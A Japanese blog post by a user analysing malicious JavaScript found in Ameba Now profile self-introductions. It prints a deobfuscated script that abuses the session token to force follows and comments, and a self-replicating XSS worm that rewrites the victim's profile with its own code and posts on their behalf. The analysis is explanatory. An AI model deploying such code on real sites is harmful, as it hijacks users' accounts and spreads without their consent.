amebaなうの自己紹介文にあった悪質(?)なjs

javascriptの事です、はい。
女子小学生の事じゃないからね!!!

この記事を書く数時間前、
妹が「(コメントした覚えもないのに)勝手にコメントされてる」みたいな事言ってきて、確認したら確かにそんな感じだった。
一つのなうに対して全く同じコメントが投稿されてた。明らかにおかしかった。
どこにその原因があるんだろうと、わざと引っかかってみた
引っかかってみたついでに色々確認。
自己紹介のとこにjsのリンク発見

<script src="https://dl.dropboxusercontent.com/u/257589747/ameba.js"></script>

開いてみたらpackerで難読化されてたっぽかったので
ググって難読化解除するサイト見つけて、そこで難読化解除してみた。

document.addEventListener("DOMContentLoaded", Follow, false);

function Follow() {
    var a = new XMLHttpRequest;
    a.open("POST", "http://now.ameba.jp/api/follow", true);
    a.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    a.send("followAmebaId=74k4p0n&token=" + NOW.TOKEN);
    var b = new XMLHttpRequest;
    b.open("POST", "http://now.ameba.jp/api/entryPost", true);
    b.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    b.send("token=" + NOW.TOKEN + "&entryText=たかpon {031:ドキドキ}&replyAmebaId=74k4p0n&replyEntryId=1876238125")
}

まずたかponさんをフォローして、次にこのjsを設置したたかponさん宛へ「たかpon(ハート)」と送る仕組みみたい。


次。
さっき、これも妹に見せてもらった
これもわざと引っかかってみたけど、
上に書いたものより広がりやすそうな感じだった。

<script>function f(){onload=function(){var d,m,g,b="introduction",e="http://now.ameba.jp/now/profile/edit",a="<script>"+f+"f()<\/script>",c=$("<iframe/>").attr("src",e).appendTo("body").load(function(){$("."+b).hide();g=c.contents(),i=g[0].location.href;NOW.TOKEN=c[0].contentWindow.NOW.TOKEN;if(i==e){m=$(g.find("[name='subNickname']")),h=g.find("[name="+b+"]");!m.val()&&m.val(".");if(h.val()!=a){d=h.val(a);g.find(".js-submit")[0].click()}}else{d&&$.ajax(config.API_KEY.ENTRY_POST(NOW.TOKEN,i+"藤田なう"))}});$("#base1").css("background","url(//db.u-note.me/img/post/73814894.jpeg)")}}f()</script>

自己紹介文をこのjsと同じものに書きかえて、引っかかった人のアメーバなうのurlと「藤田なう」を含めたものを投稿するものみたいだけど、
jsを学んだことがないせいもあって、何してんのか分かんない部分もあるけどまぁいいや;


金銭が関ってくるものでもなく、
僕はアメーバなうをよく利用するってほどでもなく、あんま利用しないほうだからいいけど、
よく利用する人たちにとってはとにかく迷惑だろうね。

ついでに載せとく。
JavaScript圧縮・難読化の定番ツール「/packer/」: 小粋空間
HTMLの整形やJavaScriptの難読化を解除する「jsbeautifier.org」: 小粋空間